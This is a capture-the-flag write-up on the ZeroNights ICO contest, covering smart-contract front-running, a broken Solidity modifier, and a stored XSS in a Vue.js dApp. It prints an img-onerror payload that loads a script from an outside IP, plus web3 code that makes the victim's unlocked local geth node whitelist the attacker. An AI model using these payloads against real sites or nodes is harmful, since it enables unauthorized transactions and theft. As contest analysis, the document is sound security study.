ZeroNights ICO Hacking Contest Writeup

Prior to ZeroNights security conference, an ICO hacking contest had been announced. The first three contestants to solve the tasks could win invites to the conference. My motivation to participate in the contest was driven by the interest in smart contract security which is gaining popularity in various CTFs nowadays.

The ICO website was a dApp that interacted with two contracts on Rinkeby testnet via web3.js. The first contract was an ERC20 token for HACK coins so you could see your balance, number of sold coins, total supply, etc. The ultimate goal of the contest was to get more than 31337 HACK coins.

The other contract was a lottery game, here is a relevant fragment from it:

   function spinLottery(uint number) public {
if (msg.sender != robotAddress) {
playerNumber[msg.sender] = number;
players.push(msg.sender);
NewLotteryBet(msg.sender);
} else {
require(block.number - lotteryBlock > 5);
lotteryBlock = block.number;
for (uint i = 0; i < players.length; i++) {
if (playerNumber[players[i]] == number) {
desires[players[i]].active = true;
desires[players[i]].email = "*Use changeEmail func to set your email.*";
Proposal(players[i], desires[players[i]].email);
}
}
delete players; // flushing round
NewLotteryRound(lotteryBlock);
}
}

If you are lucky enough to guess the number your address will be added to the “desires” mapping. There was a whitepaper like in a real ICO which said that one should be manually whitelisted by the token owner to be able to buy tokens or you could try to win the lottery. Let’s try to beat it!

Winning the lottery

Looking at the code above you see that there is a robot that posts random numbers once in 5 blocks. These numbers are submitted in clear text, no seed is used. It means that this code is prone to Transaction Ordering Dependence or Frontrunning. In other words, if we are quick enough to look up the number submitted by the robot and issue our own transaction with this number so that both transaction appear in the same block, we can win the lottery provided that our transaction is executed before robot’s one. How can we achieve this? Very easy, we just need to increase gas price so that it is higher than in the robot’s transaction. After several attempts I managed to fit into the same block with the robot.

So, I got in the “desires” mapping, but I still could not buy tokens. To do so, my address has to be moved from “desires” to the “whitelist” mapping. From the code it is evident that only contract owner is able to do that:

   function addParticipant(address who) onlyController public {
if (isDesirous(who) && who != controller) {
whitelist[who] = true;
delete desires[who];
AddParticipant(who);
RemoveProposal(who);
}
}

Getting to the whitelist

The smart contract didn’t contain any flaws that could promote me to the whitelist. However, the web application written in Vue.js had the following code that displayed user’s email address:

domProps: {
innerHTML: t._s(e.email)
}

It means that user controlled input was reflected on the page without sanitization, or simply put — we had an XSS. Using `changeEmail` method I got some HTML markup injected onto the page.

This is where it gets interesting: what if the contract owner visits this page in his browser? If it happens, we can try to send a transaction via local geth node usually listening on localhost:8545 that will add us to the whitelist on behalf of the contract owner provided that his account is unlocked. Looked unlikely, but it was worth a try. Shortly after, I came up with the following JS code:

var web3 = new Web3(new Web3.providers.HttpProvider("http://localhost:8545"));
var abi = /* CONTRACT ABI HERE */[];
web3.eth.defaultAccount = web3.eth.accounts[0];
var c = web3.eth.contract(abi).at("0xd80cc3550da18313af09fbd35571084913cd5246");
c.addParticipant("0x949db1e44B7762683d1Cf947D2B3c2358bD7434A", function(a,b){console.log(b)});

Having uploaded it to my box, I sent changeEmail tx once again with the following code instead of my email address:

<img src=x onerror='var a=document.createElement("script");a.src="http://52.207.112.238/test.js";document.body.append(a);'>

To my surprise, the contract owner indeed was visiting the site and he had a geth node running on localhost. The code worked well and shortly after I saw myself in the whitelist.

Buying tokens

At that point nothing could stop me from buying 31337 tokens. Except the following require() statement in buy() method:

require(hack.balanceOf(msg.sender) + hacks <= 1000 ether);

It meant that I could not own more than 1000 HACK coins. But what if we just transfer these 1000 tokens to some other our address and then buy again? Let’s look at transfer method:

function transfer(address _to, uint256 _value) public afterICO returns (bool) {/* ... */}

It has afterICO modifier which should stop us from transferring the funds. However, it was ineffective since the condition was not used in require():

modifier afterICO() {
block.timestamp > November15_2017; _;
}

After making 32 “buy & transfer” transactions I got the desired balance:

It actually needed +1 HACK, otherwise the checker script would fail.

Crafting an off-chain transaction

The final task which seemed really easy at first sight was to issue a signed off-chain transaction that contained “HACK” in msg.data. The key word here is a “transaction”. I spent a couple of hours hopelessly trying to make checker script validate a signed message as in the Ethernaut CTF until I realized that a signed off-chain transaction was needed.

There are no easy ways to do it via web3, but luckily a project called ethereumjs-tx seemed to be the right tool.

Transactions in Ethereum are signed with sender’s private key, so we have to extract it from MetaMask first. After numerous attempts to build different tx structures which were all rejected by the checker script I finally came up with the following one:

var Transaction = require('../index.js')
var tx = new Transaction(null, 1)
var privateKey = new Buffer('cafebabe', 'hex')
var rawTx = {
nonce: '0x00',
gasPrice: '0x09184e72a000',
gasLimit: '0x2710',
to: '0x9993ae26affd099e13124d8b98556e3215214e81',
value: '0x00',
data: '0x4841434b' // HACK
}
var tx = new Transaction(rawTx)
tx.sign(privateKey)
var serializedTx = tx.serialize()
console.log(serializedTx.toString('hex'))

After submitting the result I finally got the flag which granted me second place.

We would like to thank the organizers for the great contest. If your ICO needs professional smart contract audit & all-round security assessment do not hesitate to contact Positive.com.

Until next time!


ZeroNights ICO Hacking Contest Writeup was originally published in ICO Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

*** This is a Security Bloggers Network syndicated blog from ICO Security - Medium authored by Arseny Reutov. Read the original post at: https://blog.positive.com/zeronights-ico-hacking-contest-writeup-63afb996f1e3?source=rss----820ff037acec---4